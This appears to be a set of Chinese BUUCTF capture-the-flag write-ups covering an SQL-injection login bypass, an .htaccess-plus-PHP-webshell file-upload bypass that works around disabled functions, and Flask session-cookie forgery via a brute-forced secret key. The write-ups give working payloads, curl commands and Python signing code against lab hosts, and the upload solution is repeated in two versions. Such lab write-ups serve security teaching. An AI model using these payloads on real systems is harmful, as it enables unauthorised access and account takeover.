0%

CTF WriteUp: [极客大挑战 2019] EasySQL

题目信息

知识点

  1. SQL注入 (SQL Injection):攻击者在 Web 应用程序中事先定义好的查询语句的结尾上添加额外的 SQL 语句,以此来实现欺骗数据库服务器执行非授权的任意查询。
  2. 万能密码 (Authentication Bypass):利用 SQL 语句的逻辑漏洞(如 OR 1=1 永真条件),绕过登录验证。
  3. 闭合与注释
    • 闭合符号:由于后端代码常将变量使用单引号 ' 或双引号 " 包裹,输入相同符号可提前闭合原语句。
    • 注释符:--+# (在URL中需编码为 %23) 用于注释掉原 SQL 语句中后续的无用代码或密码验证部分。

解题思路与详细步骤

1. 探寻题目页面

首先访问网页,发现是一个名为 “用户登陆” 的简单表单,要求输入用户名和密码。
通过查看源码或者抓包发现,表单的数据通过 GET 方法发送到 check.php

1
2
# 获取网页源码验证请求方法
curl -s "http://4ad4c8ce-c976-43d3-b92b-0f71c0d7165e.node5.buuoj.cn:81/"

2. 构建注入 Payload

后端查询语句通常的结构类似于:

1
SELECT * FROM users WHERE username = '$username' AND password = '$password'

我们可以通过输入 admin' or 1=1 # 作为用户名。带入后变成:

1
SELECT * FROM users WHERE username = 'admin' or 1=1 #' AND password = '$password'

这里 1=1 为永真,# 注释掉了后面的密码验证,从而实现无密码直接登录。

3. 实战操作 (Mac/Kali 环境)

因为参数是通过 GET 传递的,我们可以直接用 curl 发送带 Payload 的请求。注意,在 URL 中单引号 ' 编码为 %27,空格可以用 +%20,井号 # 编码为 %23

方法一:在本地 Mac 终端中直接请求

1
curl -s "http://4ad4c8ce-c976-43d3-b92b-0f71c0d7165e.node5.buuoj.cn:81/check.php?username=admin%27+or+1%3D1%23&password=123"

方法二:通过 SSH 远程调用 Kali 机器验证
利用配置好的 Kali 环境(密码 kali)发起请求:

1
sshpass -p kali ssh -o StrictHostKeyChecking=no root@192.168.43.16 'curl -s "http://4ad4c8ce-c976-43d3-b92b-0f71c0d7165e.node5.buuoj.cn:81/check.php?username=admin%27+or+1%3D1%23&password=123"'

4. 获得 Flag

通过执行上述命令,服务器直接返回了登录成功的 HTML 页面,其中包含了隐藏的 Flag。

回显内容摘要:

1
2
<h1 style='font-family:verdana;color:red;text-align:center;'>Login Success!</h1>
<p style='font-family:arial;color:#ffffff;font-size:30px;text-align:center;'>flag{ad7e1d43-b697-4d49-8d5e-4cc85681cbd7}</p>

最终 Flag

flag{ad7e1d43-b697-4d49-8d5e-4cc85681cbd7}

BUUCTF - [GXYCTF2019]BabyUpload (你传你m呢) Writeup

题目背景

该题目为一个典型的文件上传漏洞(File Upload Vulnerability),题目名为“是兄弟就来传🐎”或“你传你m呢”。主要考察了文件上传过程中的后缀限制绕过、通过 .htaccess 改变服务器解析规则以及 disable_functions 绕过(如果系统命令被禁的话,使用 PHP 内置函数)等知识点。

目标网址

http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/

解题过程

1. 尝试上传 PHP 脚本

首先尝试上传一个最简单的后门 test.php:

1
<?php eval($_POST['cmd']); ?>

命令:

1
curl -i -X POST -F "uploaded=@tmp/test.php" -F "submit=一键去世" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload.php

服务器返回 <meta charset="utf-8">我扌your problem?,说明直接上传 .php 后缀被拦截了。

2. 绕过思路 - 利用 .htaccess

对于 Apache 等服务器,如果支持读取 .htaccess 配置(且 AllowOverride 允许),我们可以上传自定义的 .htaccess 文件,使得服务器将特定后缀(比如本题可上传的 .jpg)作为 PHP 脚本解析。

首先编写一个 .htaccess 文件:

1
AddType application/x-httpd-php .jpg

由于题目还可能对 Content-Type 进行了检验,我们需要将 Content-Type 修改为 image/jpeg 来进行欺骗上传。

命令:

1
curl -i -X POST -F "uploaded=@tmp/.htaccess;type=image/jpeg" -F "submit=一键去世" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload.php

服务器返回:

1
/var/www/html/upload/104a6f1573734b80dec8f6cc1d5d2973/.htaccess succesfully uploaded!

可以看到成功上传了 .htaccess,并且返回了上传的相对路径。注意保存此时请求返回的 PHPSESSID 或者直接利用返回的路径,因为题目是根据 session 创建对应文件夹存放上传文件的。

3. 上传伪装的图片木马

接下来我们将原本的 test.php 修改后缀为 .jpg,即 shell.jpg
文件内容保持不变:

1
<?php eval($_POST['cmd']); ?>

携带之前的 PHPSESSID (如果需要) 并伪造 Content-Type 发送:

1
curl -i -X POST -F "uploaded=@tmp/shell.jpg;type=image/jpeg" -F "submit=一键去世" -b "PHPSESSID=564e44f9ed3eebc12178bfaa66dfde83" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload.php

服务器返回成功:

1
/var/www/html/upload/104a6f1573734b80dec8f6cc1d5d2973/shell.jpg succesfully uploaded!

4. 获取 Flag

尝试通过 POST 请求发送系统命令以查看目录。由于测试发现系统命令执行函数(如 system)被禁用了,因此我们采用 PHP 内置函数进行操作。

查看根目录文件列表:

1
curl -i -X POST -d "cmd=var_dump(scandir('/'));" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload/104a6f1573734b80dec8f6cc1d5d2973/shell.jpg

在返回的结果中,我们发现了根目录下的 flag 文件。

读取 flag 文件内容:

1
curl -i -X POST -d "cmd=var_dump(file_get_contents('/flag'));" http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload/104a6f1573734b80dec8f6cc1d5d2973/shell.jpg

成功拿到 flag:
flag{2d4de204-fffb-4aa8-8b03-b8192f15f242}

知识点总结

  1. 黑名单过滤:前端或后端的黑名单过滤,会阻挡 php/php5/phtml 等常见 PHP 脚本后缀。
  2. MIME 验证绕过:通过伪造 Content-Type: image/jpeg,绕过了可能存在的 MIME 检查。
  3. .htaccess 妙用:在 Apache 环境中,如果允许覆盖配置,上传包含 AddType application/x-httpd-php .xxx.htaccess 能够将非 PHP 后缀的文件强制按 PHP 代码来执行。这是非常经典的文件上传绕过手段。
  4. disable_functions 绕过:当 system 等危险的命令执行函数被禁用时,可以使用 PHP 原生的目录读取函数 scandir() 结合 var_dump() 来浏览文件系统,随后通过 file_get_contents() 来读取文件内容。

BUUCTF - 你传你m呢 (文件上传漏洞) Writeup

题目背景

题目名”是兄弟就来传🐎” / “你传你m呢”,考察文件上传漏洞的黑名单绕过、.htaccess 解析规则篡改、MIME 类型伪造,以及 disable_functions 绕过。

目标网址

1
http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/

解题过程

1. 信息收集 — 访问首页

1
curl -s -i "http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/"

返回的关键信息:

  • 服务器:openresty(基于 Nginx)
  • X-Powered-By: PHP/5.6.23
  • HTML 中包含 <form action="upload.php" method="post" enctype="multipart/form-data">
  • 上传字段名为 uploaded,提交按钮名为 submit,值为”一键去世”
  • 设置了 PHPSESSID Cookie
1
2
3
4
5
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="uploaded" />
<br/>
<input type="submit" name="submit" value="一键去世" />
</form>

2. 思路分析

1
2
3
4
curl -s -i -X POST \
-F "uploaded=@./tmp/test.php" \
-F "submit=一键去世" \
http://2cb52a5e-82ad-4545-9424-d2f2c217d16a.node5.buuoj.cn:81/upload.php

直接上传 .php 文件会被后端黑名单拦截(返回”我扌your problem?”)。本题的绕过思路:

  1. 上传 .htaccess 文件,添加 AddType application/x-httpd-php .jpg,让 Apache 将 .jpg 当作 PHP 执行
  2. 上传含 PHP 代码的 .jpg 文件(一句话木马)
  3. PHP 的 system() 等危险函数被禁用(disable_functions),使用 scandir() + file_get_contents() 替代

注意:虽然服务器前面有 openresty (Nginx) 做反向代理,但后端 PHP 运行在 Apache 上,所以 .htaccess 仍然生效。

3. 制作 Payload

创建 payload 文件:

1
2
3
4
5
6
7
8
9
10
11
mkdir -p /tmp/ctf_upload

# .htaccess:修改 Apache 解析规则,让 .jpg 被当作 PHP 执行
cat > /tmp/ctf_upload/.htaccess << 'EOF'
AddType application/x-httpd-php .jpg
EOF

# shell.jpg:PHP 一句话木马
cat > /tmp/ctf_upload/shell.jpg << 'EOF'
<?php eval($_POST['cmd']); ?>
EOF

4. 上传 .htaccess(绕过 MIME 类型检查)

1
2
3
4
curl -s -i -X POST \
-F "uploaded=@/tmp/ctf_upload/.htaccess;type=image/jpeg" \
-F "submit=一键去世" \
"http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload.php"

关键点:

  • type=image/jpeg 伪造 Content-Type 为 image/jpeg,绕过服务端对 MIME 类型的校验
  • 如果 PHPSESSID 变了,后续请求要带上新的 session cookie

返回:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HTTP/1.1 200 OK
Server: openresty
Date: Thu, 30 Apr 2026 16:19:58 GMT
Content-Type: text/html
Content-Length: 109
Connection: keep-alive
X-Powered-By: PHP/5.6.23
Set-Cookie: PHPSESSID=853301e998fbc46d47aa6cabf598b7e6; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Cache-Control: no-cache


<meta charset="utf-8">/var/www/html/upload/774e095560a299b7955ba19fc12e6cdf/.htaccess succesfully uploaded!%
1
/var/www/html/upload/049d070cfef61727b914b055dda1a3b5/.htaccess succesfully uploaded!

服务端根据 session 创建了一个随机目录 049d070cfef61727b914b055dda1a3b5 存放上传文件。

5. 上传 PHP 木马(伪装为 jpg)

1
2
3
4
5
curl -s -i -X POST \
-F "uploaded=@/tmp/ctf_upload/shell.jpg;type=image/jpeg" \
-F "submit=一键去世" \
-b "PHPSESSID=ea940d8225d176f2f7ec0988382f85d2" \
"http://db6e997b-1b79-49dc-b771-3ec16052b7a6.node5.buuoj.cn:81/upload.php"

带上 PHPSESSID cookie 确保文件上传到同一个目录。

返回:

1
/var/www/html/upload/049d070cfef61727b914b055dda1a3b5/shell.jpg succesfully uploaded!

6. 使用 Webshell 获取 Flag

6.1 确认 disable_functions — 测试命令执行函数

拿到 shell 后,首先尝试最直接的方法——命令执行函数。逐一测试 system(), exec(), shell_exec(), passthru()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 测试 system()
curl -s -X POST \
-d "cmd=system('id');" \
"http://TARGET/upload/UPLOAD_DIR/shell.jpg"

# 测试 exec()
curl -s -X POST \
-d "cmd=exec('id');" \
"http://TARGET/upload/UPLOAD_DIR/shell.jpg"

# 测试 shell_exec()
curl -s -X POST \
-d "cmd=echo shell_exec('id');" \
"http://TARGET/upload/UPLOAD_DIR/shell.jpg"

# 测试 passthru()
curl -s -X POST \
-d "cmd=passthru('id');" \
"http://TARGET/upload/UPLOAD_DIR/shell.jpg"

四个函数均返回同样的错误:

1
2
3
4
5
6
7
8
Warning: system() has been disabled for security reasons in
/var/www/html/upload/.../shell.jpg(1) : eval()'d code on line 1

Warning: exec() has been disabled for security reasons in ...

Warning: shell_exec() has been disabled for security reasons in ...

Warning: passthru() has been disabled for security reasons in ...

结论disable_functions 禁用了 system, exec, shell_exec, passthru 等命令执行函数。需要切换到 PHP 内置函数。

6.2 使用 PHP 内置函数 — scandir() 列目录

1
2
3
curl -s -X POST \
-d "cmd=var_dump(scandir('/'));" \
"http://TARGET/upload/UPLOAD_DIR/shell.jpg"

成功返回根目录列表,scandir() 不受 disable_functions 限制:

1
2
3
4
5
array(24) {
...
[8]=> string(4) "flag"
...
}

在根目录发现 flag 文件。对比上面 system() 系列函数直接报 warning 被拦截,scandir() 正常工作——说明 disable_functions 只禁命令执行,不禁文件操作。

6.3 读取 flag — file_get_contents()

1
2
3
curl -s -X POST \
-d "cmd=var_dump(file_get_contents('/flag'));" \
"http://TARGET/upload/UPLOAD_DIR/shell.jpg"

返回:

1
string(43) "flag{894f60ad-5c15-49a1-b5d9-0c2a1738c992}"

Flag

1
flag{894f60ad-5c15-49a1-b5d9-0c2a1738c992}

知识点总结

1. 文件上传黑名单绕过

后端对文件后缀做了黑名单过滤,拦截 php/php5/phtml 等常见 PHP 后缀。但 .htaccess 不在黑名单中(或未被过滤),从而可以利用 Apache 的配置覆盖机制。

2. MIME 类型伪造

curl -F 上传时通过 ;type=image/jpeg 设置 Content-Type,绕过服务端对上传文件 MIME 类型的校验。服务端可能通过 $_FILES['uploaded']['type'] 检查是否为图片类型。

3. .htaccess 修改解析规则

在 Apache 环境下,若 AllowOverride 允许(本题中允许了),可通过 .htaccess 文件覆盖目录配置:

1
AddType application/x-httpd-php .jpg

这行配置使得 .jpg 文件被当作 PHP 脚本解析执行,从而绕过后缀名限制。

扩展:其他常见 .htaccess 利用方式还包括:

  • AddHandler application/x-httpd-php .jpg
  • SetHandler application/x-httpd-php
  • 利用 php_value auto_prepend_file 包含恶意代码

4. disable_functions 绕过

PHP 的 disable_functions 禁用了 system/exec/passthru/shell_exec 等命令执行函数,但 PHP 内置的文件操作函数不受影响:

功能 禁用 替代方案
执行命令 system() / exec() ❌ 不可用
列目录 scandir()
读文件 file_get_contents()
输出变量 var_dump() / print_r()

延伸:在更严格的环境中,scandir() 也可能被禁用。此时还可以考虑:

  • glob() 遍历目录
  • DirectoryIterator
  • opendir() + readdir() + closedir()

5. Session 与上传目录关联

本题根据 PHPSESSID 创建独立的随机上传目录,需要保持 session 一致性(通过 -b 传递 cookie),否则 .htaccess 和 shell 会上传到不同目录,导致 .htaccess 规则不生效。

6. 完整攻击链

1
2
黑名单过滤 .php → 上传 .htaccess 修改解析规则 → 伪造 Content-Type 绕过 MIME 检查
→ 上传 .jpg 木马 → disable_functions 禁用命令执行 → scandir() + file_get_contents() 读取 flag

思路推导详解

以下是每一步的推导逻辑——遇到阻碍 → 分析原因 → 寻找绕过方法。

第 0 步:看到题目,确定方向

题目名”你传你m呢”——“你传你🐎呢”,其中”🐎”在 CTF 圈是”木马”的谐音梗(🐎 = 马 = 木马,源自中文输入法”muma”)。题目直接告诉你:这是一道文件上传漏洞题,目标是传马 getshell。

访问首页,HTML 里只有一个 <form action="upload.php">,进一步确认了这点。

第 1 步:为什么想到 .htaccess

这是一个排除法 + Apache 特性的推导过程。

① 直接上传 .php → 被拦截

如果直接传 shell.php,服务器返回”我扌your problem?”。说明有后缀名黑名单。常见黑名单会拦截:php, php5, phtml, pht, php3, php4, php7 等。

② 常见的绕过手法,逐一评估:

手法 可行性
改后缀为 .php5 / .phtml ❌ 一般在黑名单里
双写后缀 .php.jpg ❌ 需要 Apache 配置 AddHandler 按顺序解析,本题没有
大小写 .Php / .PHp ❌ 服务器通常是 strtolower() 处理
加空格/点 .php. / .php ❌ 本题似乎会去掉特殊字符
%00 截断 ❌ PHP 5.3.4+ 已修复,本题 PHP 5.6
.htaccess 覆盖配置 ✅ Apache 经典特性,且 .htaccess 一般不加入黑名单
.user.ini 包含 ⚠️ 可行但不如 .htaccess 直接,且本题验证了 .htaccess 可行

.htaccess 为什么是首选?

.htaccess 是 Apache 的目录级配置文件。如果服务端是 Apache(或 Nginx 反代 Apache),并且 AllowOverride 开启了,上传一个 .htaccess 就能从源头改变解析规则——让服务器把 .jpg 当 PHP 执行。这个文件后缀本身不在 PHP 脚本黑名单中,拦截概率低。

关键判断依据:页面标题”是兄弟就来传🐎”暗示了这是经典的 Apache 上传题,.htaccess 是这类题的标准起手式。

第 2 步:为什么要伪造 Content-Type: image/jpeg

这是对”上传检测逻辑”的提前预判

既然题目做了后缀名黑名单,大概率也做了 MIME 类型检测——即检查 $_FILES['uploaded']['type'] 是否为允许的类型(如 image/jpegimage/png)。

curl 的 -F 参数默认会根据文件后缀设置 Content-Type:

  • .htaccesstext/plainapplication/octet-stream
  • .phpapplication/x-httpd-php

如果直接上传 .htaccess 而不指定 type=,MIME 类型会暴露这不是图片,可能被拦截。所以:

1
-F "uploaded=@file;type=image/jpeg"

这是主动加的防御性措施——先假设有 MIME 检查,用最小成本绕过它。即使题目没检查,加了也不会出错。

第 3 步:为什么要用 Session Cookie?

上传 .htaccess 后,服务器返回:

1
/var/www/html/upload/049d070cfef61727b914b055dda1a3b5/.htaccess succesfully uploaded!

返回的是完整绝对路径,且路径中有一个随机哈希 049d070cfef61727b914b055dda1a3b5

推导:这个随机字符串怎么来的?观察服务器的 Set-Cookie: PHPSESSID=...,推测:

服务端为每个 session 创建独立的上传目录。如果两次上传的 session 不同,.htaccessshell.jpg 就会落在不同目录,.htaccess 的规则就不会应用到 shell.jpg 上。

所以第二次上传必须带上相同的 cookie:

1
-b "PHPSESSID=ea940d8225d176f2f7ec0988382f85d2"

第 4 步:为什么用 scandir() + file_get_contents() 而不是 system()

这是一句话木马 <?php eval($_POST['cmd']); ?> 执行后遇到障碍的应急调整

拿到 shell 后的第一反应是用命令执行函数直接读 flag。逐一测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 测试 system()
curl -s -X POST -d "cmd=system('id');" "http://TARGET/upload/.../shell.jpg"
# 返回:
# Warning: system() has been disabled for security reasons in
# /var/www/html/upload/.../shell.jpg(1) : eval()'d code on line 1

# 测试 exec()
curl -s -X POST -d "cmd=exec('id');" "http://TARGET/upload/.../shell.jpg"
# 返回:
# Warning: exec() has been disabled for security reasons in ...

# 测试 shell_exec()
curl -s -X POST -d "cmd=echo shell_exec('id');" "http://TARGET/upload/.../shell.jpg"
# 返回:
# Warning: shell_exec() has been disabled for security reasons in ...

# 测试 passthru()
curl -s -X POST -d "cmd=passthru('id');" "http://TARGET/upload/.../shell.jpg"
# 返回:
# Warning: passthru() has been disabled for security reasons in ...

四个函数全部被 disable_functions 拦截,直接返回 Warning。

替代方案推导

命令执行函数被禁 ≠ 所有 PHP 函数被禁。eval() 可以执行任意 PHP 代码 →
读文件可以用 file_get_contents() → 列目录可以用 scandir()
输出用 var_dump() 直接打印到响应体。

对比验证——scandir() 确实不受影响:

1
2
3
4
5
6
7
# 命令执行:被禁
curl -s -X POST -d "cmd=system('ls /');" "http://TARGET/upload/.../shell.jpg"
# Warning: system() has been disabled for security reasons

# PHP 内置函数:正常工作
curl -s -X POST -d "cmd=var_dump(scandir('/'));" "http://TARGET/upload/.../shell.jpg"
# array(24) { ... [8]=> string(4) "flag" ... }

这就是 payload 从 system('ls /')var_dump(scandir('/'))var_dump(file_get_contents('/flag')) 的推导链。

总结:完整的推导链

1
2
3
4
5
6
7
8
9
10
11
题目名"你传你m呢"
→ 文件上传题,目标是传马
→ 直接传 .php 被拦(黑名单)
→ 需要绕过:
├─ 后缀绕过:.htaccess 改解析规则 (Apache 特性)
├─ MIME 绕过:type=image/jpeg (预判检测逻辑)
└─ Session 一致性:-b PHPSESSID (观察路径包含 session hash)
→ 一句话木马上线
→ system() 被禁
→ 降级为 PHP 内置函数:scandir() + file_get_contents()
→ /flag → flag{}

每一步都不是凭空想的,而是前一步遇到阻碍 → 分析阻碍原因 → 寻找对应绕过方法的链式推导。

Flag

1
flag{bc3d6dfe-bc42-45a8-bdff-cea8989b80f7}

知识点

  • Flask Session 伪造
  • Flask session 结构:{payload}.{timestamp}.{signature},使用 URL 安全的 base64 编码。payload 长度可变;timestamp 是 base62 编码的 Unix 时间戳(约 6 字符);signature 固定 27 字符(HMAC-SHA1 输出 20 bytes / 160 bits,base64 编码后 27 字符)
  • Flask 使用 itsdangerous.URLSafeTimedSerializer + TaggedJSONSerializer 签名 session
  • flask-unsign 工具:解码和暴力破解 Flask session secret key
  • Flask session 压缩:当数据较大时,Flask 会使用 zlib 压缩 session 数据
  • 验证码值存储在 Flask session 中,而不是服务端。读取验证码需要”两层” base64 解码,这不是故意设计的双层加密,而是 Flask 的 TaggedJSONSerializer 序列化机制导致的:验证码在 session 中是 bytes 类型(如 b'wS3T'),TaggedJSONSerializer 会把 bytes 对象序列化为 {" b": "<base64>"} 的标记 JSON 结构,这是第一层 base64;Flask 再把整个 session JSON 做 URL-safe base64 编码写入 cookie,这是第二层
  • /change 端点根据 session['name'] 来确定修改哪个用户的密码(不当授权)
  • 登录失败时 session 仍会设置 name 字段为尝试的用户名

解题步骤

1. 信息收集

访问首页,得到提示 ,说明需要以 admin 身份登录。

1
curl -s "http://1f3ba66d-6213-4166-bc56-2df4c0d4749d.node5.buuoj.cn:81/" | grep "not admin"

网站是一个 Flask 应用,可访问的功能:

  • /register - 注册(需要验证码)
  • /login - 登录(有 Remember Me 选项)
  • /change - 返回 302 重定向到 /login,说明该端点存在但需要登录

登录成功后,从 /index 页面导航菜单中发现更多端点:

  • /index - 首页,显示 Hello {{ username }}
  • /edit - 发布帖子
  • /change - 修改密码(表单只有一个 newpassword 字段)
  • /logout - 登出

2. 发现验证码漏洞

访问 /code 获取验证码,发现 Flask session 中存储了验证码值:

1
2
curl -s -c /tmp/cookie.txt "http://1f3ba66d-6213-4166-bc56-2df4c0d4749d.node5.buuoj.cn:81/code" > /dev/null
cat /tmp/cookie.txt

解码 session(双层 base64):

1
2
3
4
5
6
7
8
import base64, json
# session payload 部分 base64 解码
payload = "eyJpbWFnZSI6eyIgYiI6ImQxTXpWQT09In19" # 示例
decoded = base64.urlsafe_b64decode(payload + "==")
data = json.loads(decoded)
# 内层 base64 解码得到验证码
captcha = base64.b64decode(data['image'][' b'] + "==").decode()
print(captcha) # 4位验证码

3. 自动注册账号

利用上述漏洞自动识别验证码并注册:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
from flask_unsign import session as flask_session

BASE = "http://1f3ba66d-6213-4166-bc56-2df4c0d4749d.node5.buuoj.cn:81"
s = requests.Session()

# 获取验证码 session
r = s.get(f"{BASE}/code")
decoded = flask_session.decode(s.cookies.get('session', ''))
captcha = decoded['image'].decode()

# 注册
s.post(f"{BASE}/register", data={
'username': 'hacker36259',
'password': 'hack123',
'verify_code': captcha,
'submit': 'register'
})

# 登录
s.post(f"{BASE}/login", data={
'username': 'hacker36259',
'password': 'hack123'
})

4. 获取源代码信息

访问 /change 页面,HTML 注释中包含源代码地址:

1
2
curl -s "http://xxx.node5.buuoj.cn:81/change" | grep github
# <!-- https://github.com/woadsl1234/hctf_flask/ -->

5. 破解 Flask Secret Key

使用 flask-unsign 暴力破解 session secret key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 安装工具
python3 -m venv /tmp/ctf-venv
source /tmp/ctf-venv/bin/activate
pip install flask-unsign

# 创建字典
cat > /tmp/wordlist.txt << EOF
secret
hctf
admin
hctf2018
flask
key
password
ckj123
EOF

# 破解
flask-unsign --unsign --no-literal-eval \
--cookie 'eyJjc3JmX3Rva2VuIjp7...' \
--wordlist /tmp/wordlist.txt
# [+] Found secret key after attempts: b'ckj123'

Secret Key: ckj123

6. 伪造 Admin Session

使用 itsdangerous 和 Flask 的 TaggedJSONSerializer 伪造 admin session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from itsdangerous import URLSafeTimedSerializer
from flask.json.tag import TaggedJSONSerializer
import hashlib

SECRET = 'ckj123'

# 创建与 Flask 相同的签名器
signer = URLSafeTimedSerializer(
secret_key=SECRET,
salt='cookie-session',
signer_kwargs={'key_derivation': 'hmac', 'digest_method': hashlib.sha1},
serializer=TaggedJSONSerializer()
)

# 伪造 admin session
forged_session = {
'_fresh': True,
'_id': 'bd6558b753c802fc17eec078fee34d7d40365dd730f8c9ff7adb4f8658434b0b1cfcc6db52760f68256be4dd2ee11d5f124046d967c5300a4a20919f1ec02d37',
'image': 'xxxx',
'name': 'admin',
'user_id': '1'
}

admin_cookie = signer.dumps(forged_session)

_id 字段的来源_id 字段是从合法 session 中直接复制过来的,而且换了多个不同账号登录后发现每个 session 里的 _id 值完全相同(都是 bd6558b753c802fc17eec078fee34d7d40365dd730f8c9ff7adb4f8658434b0b1cfcc6db52760f68256be4dd2ee11d5f124046d967c5300a4a20919f1ec02d37),说明这个值很可能是硬编码或由固定值算出来的,跟具体用户无关,所以伪造时直接照搬即可。

signer.dumps(forged_session) 做了什么dumps() 完成三件事——① 用 TaggedJSONSerializer 把 Python dict 转成 JSON 字符串(bytes 类型用 {" b": "..."} 标记);② 如果数据较大用 zlib 压缩;③ 用 secret key ckj123 对数据做 HMAC 签名,拼成 数据.时间戳.签名 的格式。这行代码等于”用偷来的 secret key,按 Flask 原生的方式,捏了一个合法的 admin cookie”,服务器收到后验签通过,就当成了真 session。

关键点:必须使用与 Flask 完全一致的签名方式。flask-unsign --sign 命令行工具签名格式不正确(会嵌套 JSON 字符串),需要直接在 Python 中使用 itsdangerous + TaggedJSONSerializer 签名。

7. 获取 Flag

使用伪造的 admin session 访问 /index

1
2
3
4
5
s = requests.Session()
s.cookies.set('session', admin_cookie)
r = s.get(f"{BASE}/index")
# 响应中包含: <h1 class="nav">Hello admin</h1>
# <h1 class="nav">flag{bc3d6dfe-bc42-45a8-bdff-cea8989b80f7}</h1>

漏洞总结

  1. 验证码失效:验证码值明文存储在 session cookie 中,可被自动识别
  2. 弱 Secret Key:Flask session 使用弱密钥 ckj123,可通过字典攻击破解
  3. Session 可控:攻击者可以伪造任意用户(包括 admin)的 session
  4. 不当授权/change 端点仅依赖 session['name'] 来判断修改哪个用户的密码

补充问答

Q1: 解码 session 的目的是什么?

目的是绕过验证码/code 返回的是一张图片(GIF),但同时也通过 Set-Cookie 把验证码的值写进了 session 里。解码 session 就能直接读出 4 位验证码,不需要 OCR 识别图片。验证码是”防用户不防攻击者”——它在服务端根本没存,而是放在客户端 cookie 中(经过 TaggedJSONSerializer 序列化 + Flask session 编码)。攻击者拿到 cookie → 解码 → 取出验证码 → 自动注册,完全不需要人工看图。

Q2: 你获取的是 cookie,和 session 有什么关系?

在 Flask 里,cookie 就是 session。Flask 默认的 session 机制是 client-side session,和其他框架不同:

  • PHP / Java 等:服务端存储 session 数据,cookie 里只放一个 session_id(随机字符串),服务器根据这个 ID 查数据库/缓存获取数据
  • Flask:session 数据全部存在 cookie 里,服务器不存任何东西。cookie 名叫 session,它的值就是完整的 session 数据(经过 base64 编码 + 签名)

客户端收到的 Set-Cookie: session=eyJpbWFnZSI6... 这个 cookie,就是完整的 session:

1
2
3
4
5
6
session=eyJjc3JmX3Rva2VuIjp7IiBiIjoiT1RJNE...   .afZcEA   .C_VOqxA4yDvKv5i_qMJygwSeOBk
├────────── payload ──────────────────┘├─时间戳─┘└─────── signature ──────────┘
107 字符 6 字符 27 字符
(base64 URL-safe, 无填充) (base62 编码的 (base64 URL-safe, 无填充)
整数, Unix 时间戳) 20 bytes / 160 bits
HMAC-SHA1 签名

三个部分以点号 . 分隔:

  • Payload(第1部分):长度不固定,取决于 session 数据量。示例中 107 字符,解码后为 80 bytes 的 JSON 数据
  • Timestamp(第2部分):6 字符,base62/base64 编码的整数,解码后为 Unix 时间戳
  • Signature(第3部分):固定 27 字符。HMAC-SHA1 输出 20 bytes(160 bits),URL-safe base64 编码后 = ceil(160÷6) = 27 字符(无填充)

解码 payload 就是服务端想”记住”的 session 数据,其中包括了验证码。因为数据全在客户端,Flask 用 secret key 对内容签名来防止用户篡改——但如果 secret key 泄露(比如这道题被破解出 ckj123),攻击者就可以伪造任意 session。

Q3: 为什么是”双层” base64?

准确说不是”故意设计成双层”,而是 Flask 的 TaggedJSONSerializer 序列化机制导致的。

Flask session 里存的 image 值是 bytes 类型b'wS3T')。TaggedJSONSerializer 在序列化 bytes 对象时,会把它转换成带标记的 JSON 结构:

1
{" b": "<base64编码后的bytes>"}
  • b 是标记(tag),表示这是一个 bytes 对象
  • 值是被 base64 编码过的原始数据

流程如下:

1
2
3
4
5
原始验证码:  b'wS3T'                           (Python bytes 对象)
↓ TaggedJSONSerializer 序列化
中间结构: {"image": {" b": "d1MzVA=="}} (tagged JSON,第一层 base64)
↓ Flask session 整体 URL-safe base64 编码写入 cookie
最终 cookie: eyJpbWFnZSI6eyIgYiI6... (第二层 base64)

两层 base64 的来源:

  1. 内层TaggedJSONSerializer 把 bytes 编码成 base64 存入 JSON 的 b 字段
  2. 外层:Flask 把整个 session JSON 做 URL-safe base64 编码写入 cookie

所以只要反向解两层 base64 就能读出验证码。

Q4: 密码字典为什么包含 ckj123?怎么知道要加这个?

是碰运气猜中的,没有什么先验知识,也不是提前知道答案。构造的字典里放了几十个常见 CTF 弱密码组合:secrethctfadminhctf2018flaskpasswordckj123……ckj123 只是其中一条,格式上就是”字母+123”这种常见弱密码组合。flask-unsign 逐个测试,试到第 33 个时命中了。是字典覆盖到了,不是定向命中。

Q5: session secret key 是干啥用的?

用来防篡改的。

因为 Flask 的 session 数据全部放客户端 cookie,用户能直接看到内容(base64 解码就行)。如果只有数据没有签名,用户随便把 name: user123 改成 name: admin 再 base64 编码回去,服务器就会上当。

所以 Flask 在 cookie 后面加了个签名

1
2
3
.session_data.timestamp.signature
↑ ↑
明文数据 用 secret key 算出的 HMAC 签名

服务器收到 cookie 后,用 secret key 重新算一遍签名,跟 cookie 里的签名比对:

  • 一致 → 数据没被改过,信任
  • 不一致 → 数据被篡改,丢弃

这就意味着:secret key 一旦泄露,签名就形同虚设。攻击者拿到 secret key 后,想构造什么 session 就构造什么签名,服务器完全区分不出来。这道题的漏洞本质就是 secret key 太弱(ckj123),被字典直接爆了。

Q6: 伪造 admin session 里的 _id 是哪来的?

从合法 session 里直接复制过来的。而且有意思的是——换了 5 个不同账号登录,每个 session 里的 _id 都一模一样:

1
2
3
4
ctfuser777:     _id: bd6558b753c802fc17eec078fee...
hacker36259: _id: bd6558b753c802fc17eec078fee...
attacker69731: _id: bd6558b753c802fc17eec078fee...
hack16509: _id: bd6558b753c802fc17eec078fee...

